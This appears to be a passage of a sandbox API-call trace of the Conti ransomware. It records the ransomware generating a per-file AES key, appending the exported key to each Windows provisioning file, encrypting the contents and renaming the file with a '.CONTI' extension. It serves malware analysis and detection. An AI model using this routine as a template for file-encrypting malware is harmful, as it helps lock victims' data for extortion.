	[0112.492] SetFilePointerEx (in: hFile=0x3e4, liDistanceToMove=0xfffffdec, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1
	[0112.492] WriteFile (in: hFile=0x3e4, lpBuffer=0x65b008c*, nNumberOfBytesToWrite=0x20c, lpNumberOfBytesWritten=0x3e3fe44, lpOverlapped=0x0 | out: lpBuffer=0x65b008c*, lpNumberOfBytesWritten=0x3e3fe44*=0x20c, lpOverlapped=0x0) returned 1
	[0112.494] SetFilePointer (in: hFile=0x3e4, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0
	[0112.494] ReadFile (in: hFile=0x3e4, lpBuffer=0xa2a0000, nNumberOfBytesToRead=0x350, lpNumberOfBytesRead=0x3e3fe64, lpOverlapped=0x0 | out: lpBuffer=0xa2a0000*, lpNumberOfBytesRead=0x3e3fe64*=0x350, lpOverlapped=0x0) returned 1
	[0112.494] CryptEncrypt (in: hKey=0x17c7db0, hHash=0x0, Final=1, dwFlags=0x0, pbData=0xa2a0000*, pdwDataLen=0x3e3fe5c*=0x350, dwBufLen=0x500000 | out: pbData=0xa2a0000*, pdwDataLen=0x3e3fe5c*=0x360) returned 1
	[0112.494] SetFilePointerEx (in: hFile=0x3e4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1
	[0112.494] WriteFile (in: hFile=0x3e4, lpBuffer=0xa2a0000*, nNumberOfBytesToWrite=0x360, lpNumberOfBytesWritten=0x3e3fe78, lpOverlapped=0x0 | out: lpBuffer=0xa2a0000*, lpNumberOfBytesWritten=0x3e3fe78*=0x360, lpOverlapped=0x0) returned 1
	[0112.495] SetFilePointerEx (in: hFile=0x3e4, liDistanceToMove=0xfffffff8, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1
	[0112.495] WriteFile (in: hFile=0x3e4, lpBuffer=0x65b0080*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x3e3fe90, lpOverlapped=0x0 | out: lpBuffer=0x65b0080*, lpNumberOfBytesWritten=0x3e3fe90*=0x8, lpOverlapped=0x0) returned 1
	[0112.495] SetFilePointer (in: hFile=0x3e4, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0
	[0112.495] CloseHandle (hObject=0x3e4) returned 1
	[0112.495] GetProcessHeap () returned 0x1720000
	[0112.495] RtlAllocateHeap (HeapHandle=0x1720000, Flags=0x8, Size=0x7fd7) returned 0x6b63508
	[0112.495] lstrcpyW (in: lpString1=0x6b63508, lpString2="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\546__Connections_Cellular_Orange (Côte d’Ivoire)_i1$(__MVID)@WAP.provxml" | out: lpString1="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\546__Connections_Cellular_Orange (Côte d’Ivoire)_i1$(__MVID)@WAP.provxml") returned="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\546__Connections_Cellular_Orange (Côte d’Ivoire)_i1$(__MVID)@WAP.provxml"
	[0112.495] lstrcatW (in: lpString1="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\546__Connections_Cellular_Orange (Côte d’Ivoire)_i1$(__MVID)@WAP.provxml", lpString2=".CONTI" | out: lpString1="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\546__Connections_Cellular_Orange (Côte d’Ivoire)_i1$(__MVID)@WAP.provxml.CONTI") returned="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\546__Connections_Cellular_Orange (Côte d’Ivoire)_i1$(__MVID)@WAP.provxml.CONTI"
	[0112.495] MoveFileW (lpExistingFileName="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\546__Connections_Cellular_Orange (Côte d’Ivoire)_i1$(__MVID)@WAP.provxml" (normalized: "c:\\programdata\\microsoft\\provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\prov\\runtime\\546__connections_cellular_orange (côte d’ivoire)_i1$(__mvid)@wap.provxml"), lpNewFileName="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\546__Connections_Cellular_Orange (Côte d’Ivoire)_i1$(__MVID)@WAP.provxml.CONTI" (normalized: "c:\\programdata\\microsoft\\provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\prov\\runtime\\546__connections_cellular_orange (côte d’ivoire)_i1$(__mvid)@wap.provxml.conti")) returned 1
	[0112.496] GetProcessHeap () returned 0x1720000
	[0112.496] HeapFree (in: hHeap=0x1720000, dwFlags=0x0, lpMem=0x6b63508 | out: hHeap=0x1720000) returned 1
	[0112.496] CryptDestroyKey (hKey=0x17c7db0) returned 1
	[0112.496] GetProcessHeap () returned 0x1720000
	[0112.496] HeapFree (in: hHeap=0x1720000, dwFlags=0x0, lpMem=0x17faca8 | out: hHeap=0x1720000) returned 1
	[0112.496] GetQueuedCompletionStatus (in: CompletionPort=0x1b0, lpNumberOfBytesTransferred=0x3e3feb4, lpCompletionKey=0x3e3feb8, lpOverlapped=0x3e3fec4, dwMilliseconds=0xffffffff | out: lpNumberOfBytesTransferred=0x3e3feb4, lpCompletionKey=0x3e3feb8, lpOverlapped=0x3e3fec4) returned 1
	[0112.496] CryptGenKey (in: hProv=0x1753700, Algid=0x6610, dwFlags=0x1, phKey=0x65b0518 | out: phKey=0x65b0518*=0x17c7cf0) returned 1
	[0112.496] CryptExportKey (in: hKey=0x17c7cf0, hExpKey=0x173a8d0, dwBlobType=0x1, dwFlags=0x0, pbData=0x65b051c, pdwDataLen=0x3e3fe8c | out: pbData=0x65b051c*, pdwDataLen=0x3e3fe8c*=0x20c) returned 1
	[0112.497] GetFileAttributesW (lpFileName="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\547__Connections_Cellular_Orange (Côte d’Ivoire)_i2$(__MVID)@WAP.provxml" (normalized: "c:\\programdata\\microsoft\\provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\prov\\runtime\\547__connections_cellular_orange (côte d’ivoire)_i2$(__mvid)@wap.provxml")) returned 0x20
	[0112.497] CreateFileW (lpFileName="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\547__Connections_Cellular_Orange (Côte d’Ivoire)_i2$(__MVID)@WAP.provxml" (normalized: "c:\\programdata\\microsoft\\provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\prov\\runtime\\547__connections_cellular_orange (côte d’ivoire)_i2$(__mvid)@wap.provxml"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x3e4
	[0112.497] GetLastError () returned 0x0
	[0112.497] GetFileSizeEx (in: hFile=0x3e4, lpFileSize=0x3e3fe38 | out: lpFileSize=0x3e3fe38*=853) returned 1
	[0112.497] SetFilePointer (in: hFile=0x3e4, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x0) returned 0x355
	[0112.497] SetFilePointerEx (in: hFile=0x3e4, liDistanceToMove=0x22f, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1
	[0112.497] SetEndOfFile (hFile=0x3e4) returned 1
	[0112.497] SetFilePointer (in: hFile=0x3e4, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0
	[0112.498] SetFilePointerEx (in: hFile=0x3e4, liDistanceToMove=0xfffffdec, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1
	[0112.498] WriteFile (in: hFile=0x3e4, lpBuffer=0x65b051c*, nNumberOfBytesToWrite=0x20c, lpNumberOfBytesWritten=0x3e3fe44, lpOverlapped=0x0 | out: lpBuffer=0x65b051c*, lpNumberOfBytesWritten=0x3e3fe44*=0x20c, lpOverlapped=0x0) returned 1
	[0112.820] SetFilePointer (in: hFile=0x3e4, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0
	[0112.820] ReadFile (in: hFile=0x3e4, lpBuffer=0xa2a0000, nNumberOfBytesToRead=0x355, lpNumberOfBytesRead=0x3e3fe64, lpOverlapped=0x0 | out: lpBuffer=0xa2a0000*, lpNumberOfBytesRead=0x3e3fe64*=0x355, lpOverlapped=0x0) returned 1
	[0112.820] CryptEncrypt (in: hKey=0x17c7cf0, hHash=0x0, Final=1, dwFlags=0x0, pbData=0xa2a0000*, pdwDataLen=0x3e3fe5c*=0x355, dwBufLen=0x500000 | out: pbData=0xa2a0000*, pdwDataLen=0x3e3fe5c*=0x360) returned 1
	[0112.820] SetFilePointerEx (in: hFile=0x3e4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1
	[0112.820] WriteFile (in: hFile=0x3e4, lpBuffer=0xa2a0000*, nNumberOfBytesToWrite=0x360, lpNumberOfBytesWritten=0x3e3fe78, lpOverlapped=0x0 | out: lpBuffer=0xa2a0000*, lpNumberOfBytesWritten=0x3e3fe78*=0x360, lpOverlapped=0x0) returned 1
	[0112.820] SetFilePointerEx (in: hFile=0x3e4, liDistanceToMove=0xfffffff8, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1
	[0112.820] WriteFile (in: hFile=0x3e4, lpBuffer=0x65b0510*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x3e3fe90, lpOverlapped=0x0 | out: lpBuffer=0x65b0510*, lpNumberOfBytesWritten=0x3e3fe90*=0x8, lpOverlapped=0x0) returned 1
	[0112.820] SetFilePointer (in: hFile=0x3e4, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0
	[0112.820] CloseHandle (hObject=0x3e4) returned 1
	[0112.836] GetProcessHeap () returned 0x1720000
	[0112.838] RtlAllocateHeap (HeapHandle=0x1720000, Flags=0x8, Size=0x7fd7) returned 0x6b63508
	[0113.126] lstrcpyW (in: lpString1=0x6b63508, lpString2="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\547__Connections_Cellular_Orange (Côte d’Ivoire)_i2$(__MVID)@WAP.provxml" | out: lpString1="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\547__Connections_Cellular_Orange (Côte d’Ivoire)_i2$(__MVID)@WAP.provxml") returned="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\547__Connections_Cellular_Orange (Côte d’Ivoire)_i2$(__MVID)@WAP.provxml"
	[0113.126] lstrcatW (in: lpString1="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\547__Connections_Cellular_Orange (Côte d’Ivoire)_i2$(__MVID)@WAP.provxml", lpString2=".CONTI" | out: lpString1="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\547__Connections_Cellular_Orange (Côte d’Ivoire)_i2$(__MVID)@WAP.provxml.CONTI") returned="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\547__Connections_Cellular_Orange (Côte d’Ivoire)_i2$(__MVID)@WAP.provxml.CONTI"
	[0113.126] MoveFileW (lpExistingFileName="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\547__Connections_Cellular_Orange (Côte d’Ivoire)_i2$(__MVID)@WAP.provxml" (normalized: "c:\\programdata\\microsoft\\provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\prov\\runtime\\547__connections_cellular_orange (côte d’ivoire)_i2$(__mvid)@wap.provxml"), lpNewFileName="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\547__Connections_Cellular_Orange (Côte d’Ivoire)_i2$(__MVID)@WAP.provxml.CONTI" (normalized: "c:\\programdata\\microsoft\\provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\prov\\runtime\\547__connections_cellular_orange (côte d’ivoire)_i2$(__mvid)@wap.provxml.conti")) returned 1
	[0113.127] GetProcessHeap () returned 0x1720000
	[0113.127] HeapFree (in: hHeap=0x1720000, dwFlags=0x0, lpMem=0x6b63508 | out: hHeap=0x1720000) returned 1
	[0113.127] CryptDestroyKey (hKey=0x17c7cf0) returned 1
	[0113.127] GetProcessHeap () returned 0x1720000
	[0113.127] HeapFree (in: hHeap=0x1720000, dwFlags=0x0, lpMem=0x17fae00 | out: hHeap=0x1720000) returned 1
	[0113.127] GetQueuedCompletionStatus (in: CompletionPort=0x1b0, lpNumberOfBytesTransferred=0x3e3feb4, lpCompletionKey=0x3e3feb8, lpOverlapped=0x3e3fec4, dwMilliseconds=0xffffffff | out: lpNumberOfBytesTransferred=0x3e3feb4, lpCompletionKey=0x3e3feb8, lpOverlapped=0x3e3fec4) returned 1
	[0113.127] CryptGenKey (in: hProv=0x1753700, Algid=0x6610, dwFlags=0x1, phKey=0x65b2750 | out: phKey=0x65b2750*=0x17c7ab0) returned 1
	[0113.127] CryptExportKey (in: hKey=0x17c7ab0, hExpKey=0x173a8d0, dwBlobType=0x1, dwFlags=0x0, pbData=0x65b2754, pdwDataLen=0x3e3fe8c | out: pbData=0x65b2754*, pdwDataLen=0x3e3fe8c*=0x20c) returned 1
	[0113.128] GetFileAttributesW (lpFileName="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\559__Connections_Cellular_Orange (Tunisia)_i0$(__MVID)@WAP.provxml" (normalized: "c:\\programdata\\microsoft\\provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\prov\\runtime\\559__connections_cellular_orange (tunisia)_i0$(__mvid)@wap.provxml")) returned 0x20
	[0113.128] CreateFileW (lpFileName="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\559__Connections_Cellular_Orange (Tunisia)_i0$(__MVID)@WAP.provxml" (normalized: "c:\\programdata\\microsoft\\provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\prov\\runtime\\559__connections_cellular_orange (tunisia)_i0$(__mvid)@wap.provxml"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x418
	[0113.128] GetLastError () returned 0x0
	[0113.128] GetFileSizeEx (in: hFile=0x418, lpFileSize=0x3e3fe38 | out: lpFileSize=0x3e3fe38*=727) returned 1
	[0113.128] SetFilePointer (in: hFile=0x418, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x0) returned 0x2d7
	[0113.128] SetFilePointerEx (in: hFile=0x418, liDistanceToMove=0x22d, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1
	[0113.129] SetEndOfFile (hFile=0x418) returned 1
	[0113.129] SetFilePointer (in: hFile=0x418, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0
	[0113.129] SetFilePointerEx (in: hFile=0x418, liDistanceToMove=0xfffffdec, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1
	[0113.129] WriteFile (in: hFile=0x418, lpBuffer=0x65b2754*, nNumberOfBytesToWrite=0x20c, lpNumberOfBytesWritten=0x3e3fe44, lpOverlapped=0x0 | out: lpBuffer=0x65b2754*, lpNumberOfBytesWritten=0x3e3fe44*=0x20c, lpOverlapped=0x0) returned 1
	[0113.135] SetFilePointer (in: hFile=0x418, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0
	[0113.135] ReadFile (in: hFile=0x418, lpBuffer=0xa2a0000, nNumberOfBytesToRead=0x2d7, lpNumberOfBytesRead=0x3e3fe64, lpOverlapped=0x0 | out: lpBuffer=0xa2a0000*, lpNumberOfBytesRead=0x3e3fe64*=0x2d7, lpOverlapped=0x0) returned 1
	[0113.135] CryptEncrypt (in: hKey=0x17c7ab0, hHash=0x0, Final=1, dwFlags=0x0, pbData=0xa2a0000*, pdwDataLen=0x3e3fe5c*=0x2d7, dwBufLen=0x500000 | out: pbData=0xa2a0000*, pdwDataLen=0x3e3fe5c*=0x2e0) returned 1
	[0113.135] SetFilePointerEx (in: hFile=0x418, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1
	[0113.135] WriteFile (in: hFile=0x418, lpBuffer=0xa2a0000*, nNumberOfBytesToWrite=0x2e0, lpNumberOfBytesWritten=0x3e3fe78, lpOverlapped=0x0 | out: lpBuffer=0xa2a0000*, lpNumberOfBytesWritten=0x3e3fe78*=0x2e0, lpOverlapped=0x0) returned 1
	[0113.135] SetFilePointerEx (in: hFile=0x418, liDistanceToMove=0xfffffff8, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1
	[0113.135] WriteFile (in: hFile=0x418, lpBuffer=0x65b2748*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x3e3fe90, lpOverlapped=0x0 | out: lpBuffer=0x65b2748*, lpNumberOfBytesWritten=0x3e3fe90*=0x8, lpOverlapped=0x0) returned 1
	[0113.136] SetFilePointer (in: hFile=0x418, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0
	[0113.136] CloseHandle (hObject=0x418) returned 1
	[0113.136] GetProcessHeap () returned 0x1720000
	[0113.136] RtlAllocateHeap (HeapHandle=0x1720000, Flags=0x8, Size=0x7fd7) returned 0x6b63508
	[0113.136] lstrcpyW (in: lpString1=0x6b63508, lpString2="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\559__Connections_Cellular_Orange (Tunisia)_i0$(__MVID)@WAP.provxml" | out: lpString1="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\559__Connections_Cellular_Orange (Tunisia)_i0$(__MVID)@WAP.provxml") returned="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\559__Connections_Cellular_Orange (Tunisia)_i0$(__MVID)@WAP.provxml"
	[0113.136] lstrcatW (in: lpString1="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\559__Connections_Cellular_Orange (Tunisia)_i0$(__MVID)@WAP.provxml", lpString2=".CONTI" | out: lpString1="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\559__Connections_Cellular_Orange (Tunisia)_i0$(__MVID)@WAP.provxml.CONTI") returned="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\559__Connections_Cellular_Orange (Tunisia)_i0$(__MVID)@WAP.provxml.CONTI"
	[0113.136] MoveFileW (lpExistingFileName="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\559__Connections_Cellular_Orange (Tunisia)_i0$(__MVID)@WAP.provxml" (normalized: "c:\\programdata\\microsoft\\provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\prov\\runtime\\559__connections_cellular_orange (tunisia)_i0$(__mvid)@wap.provxml"), lpNewFileName="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\559__Connections_Cellular_Orange (Tunisia)_i0$(__MVID)@WAP.provxml.CONTI" (normalized: "c:\\programdata\\microsoft\\provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\prov\\runtime\\559__connections_cellular_orange (tunisia)_i0$(__mvid)@wap.provxml.conti")) returned 1
	[0113.137] GetProcessHeap () returned 0x1720000
	[0113.137] HeapFree (in: hHeap=0x1720000, dwFlags=0x0, lpMem=0x6b63508 | out: hHeap=0x1720000) returned 1
	[0113.137] CryptDestroyKey (hKey=0x17c7ab0) returned 1
	[0113.137] GetProcessHeap () returned 0x1720000
	[0113.137] HeapFree (in: hHeap=0x1720000, dwFlags=0x0, lpMem=0x65b7568 | out: hHeap=0x1720000) returned 1
	[0113.137] GetQueuedCompletionStatus (in: CompletionPort=0x1b0, lpNumberOfBytesTransferred=0x3e3feb4, lpCompletionKey=0x3e3feb8, lpOverlapped=0x3e3fec4, dwMilliseconds=0xffffffff | out: lpNumberOfBytesTransferred=0x3e3feb4, lpCompletionKey=0x3e3feb8, lpOverlapped=0x3e3fec4) returned 1
	[0113.137] CryptGenKey (in: hProv=0x1753700, Algid=0x6610, dwFlags=0x1, phKey=0x65b3070 | out: phKey=0x65b3070*=0x17c7c70) returned 1
	[0113.137] CryptExportKey (in: hKey=0x17c7c70, hExpKey=0x173a8d0, dwBlobType=0x1, dwFlags=0x0, pbData=0x65b3074, pdwDataLen=0x3e3fe8c | out: pbData=0x65b3074*, pdwDataLen=0x3e3fe8c*=0x20c) returned 1
	[0113.138] GetFileAttributesW (lpFileName="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\560__Connections_Cellular_Orange (Tunisia)_i1$(__MVID)@WAP.provxml" (normalized: "c:\\programdata\\microsoft\\provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\prov\\runtime\\560__connections_cellular_orange (tunisia)_i1$(__mvid)@wap.provxml")) returned 0x20
	[0113.138] CreateFileW (lpFileName="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\560__Connections_Cellular_Orange (Tunisia)_i1$(__MVID)@WAP.provxml" (normalized: "c:\\programdata\\microsoft\\provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\prov\\runtime\\560__connections_cellular_orange (tunisia)_i1$(__mvid)@wap.provxml"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x418
	[0113.138] GetLastError () returned 0x0
	[0113.138] GetFileSizeEx (in: hFile=0x418, lpFileSize=0x3e3fe38 | out: lpFileSize=0x3e3fe38*=723) returned 1
	[0113.138] SetFilePointer (in: hFile=0x418, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x0) returned 0x2d3
	[0113.138] SetFilePointerEx (in: hFile=0x418, liDistanceToMove=0x231, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1
	[0113.138] SetEndOfFile (hFile=0x418) returned 1
	[0113.138] SetFilePointer (in: hFile=0x418, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0
	[0113.138] SetFilePointerEx (in: hFile=0x418, liDistanceToMove=0xfffffdec, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1
	[0113.138] WriteFile (in: hFile=0x418, lpBuffer=0x65b3074*, nNumberOfBytesToWrite=0x20c, lpNumberOfBytesWritten=0x3e3fe44, lpOverlapped=0x0 | out: lpBuffer=0x65b3074*, lpNumberOfBytesWritten=0x3e3fe44*=0x20c, lpOverlapped=0x0) returned 1
	[0113.145] SetFilePointer (in: hFile=0x418, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0
	[0113.145] ReadFile (in: hFile=0x418, lpBuffer=0xa2a0000, nNumberOfBytesToRead=0x2d3, lpNumberOfBytesRead=0x3e3fe64, lpOverlapped=0x0 | out: lpBuffer=0xa2a0000*, lpNumberOfBytesRead=0x3e3fe64*=0x2d3, lpOverlapped=0x0) returned 1
	[0113.145] CryptEncrypt (in: hKey=0x17c7c70, hHash=0x0, Final=1, dwFlags=0x0, pbData=0xa2a0000*, pdwDataLen=0x3e3fe5c*=0x2d3, dwBufLen=0x500000 | out: pbData=0xa2a0000*, pdwDataLen=0x3e3fe5c*=0x2e0) returned 1
	[0113.145] SetFilePointerEx (in: hFile=0x418, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1
	[0113.145] WriteFile (in: hFile=0x418, lpBuffer=0xa2a0000*, nNumberOfBytesToWrite=0x2e0, lpNumberOfBytesWritten=0x3e3fe78, lpOverlapped=0x0 | out: lpBuffer=0xa2a0000*, lpNumberOfBytesWritten=0x3e3fe78*=0x2e0, lpOverlapped=0x0) returned 1
	[0113.145] SetFilePointerEx (in: hFile=0x418, liDistanceToMove=0xfffffff8, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1
	[0113.145] WriteFile (in: hFile=0x418, lpBuffer=0x65b3068*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x3e3fe90, lpOverlapped=0x0 | out: lpBuffer=0x65b3068*, lpNumberOfBytesWritten=0x3e3fe90*=0x8, lpOverlapped=0x0) returned 1
	[0113.146] SetFilePointer (in: hFile=0x418, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0
	[0113.146] CloseHandle (hObject=0x418) returned 1
	[0113.146] GetProcessHeap () returned 0x1720000
	[0113.146] RtlAllocateHeap (HeapHandle=0x1720000, Flags=0x8, Size=0x7fd7) returned 0x6b63508
	[0113.146] lstrcpyW (in: lpString1=0x6b63508, lpString2="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\560__Connections_Cellular_Orange (Tunisia)_i1$(__MVID)@WAP.provxml" | out: lpString1="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\560__Connections_Cellular_Orange (Tunisia)_i1$(__MVID)@WAP.provxml") returned="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\560__Connections_Cellular_Orange (Tunisia)_i1$(__MVID)@WAP.provxml"
	[0113.146] lstrcatW (in: lpString1="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\560__Connections_Cellular_Orange (Tunisia)_i1$(__MVID)@WAP.provxml", lpString2=".CONTI" | out: lpString1="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\560__Connections_Cellular_Orange (Tunisia)_i1$(__MVID)@WAP.provxml.CONTI") returned="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\560__Connections_Cellular_Orange (Tunisia)_i1$(__MVID)@WAP.provxml.CONTI"
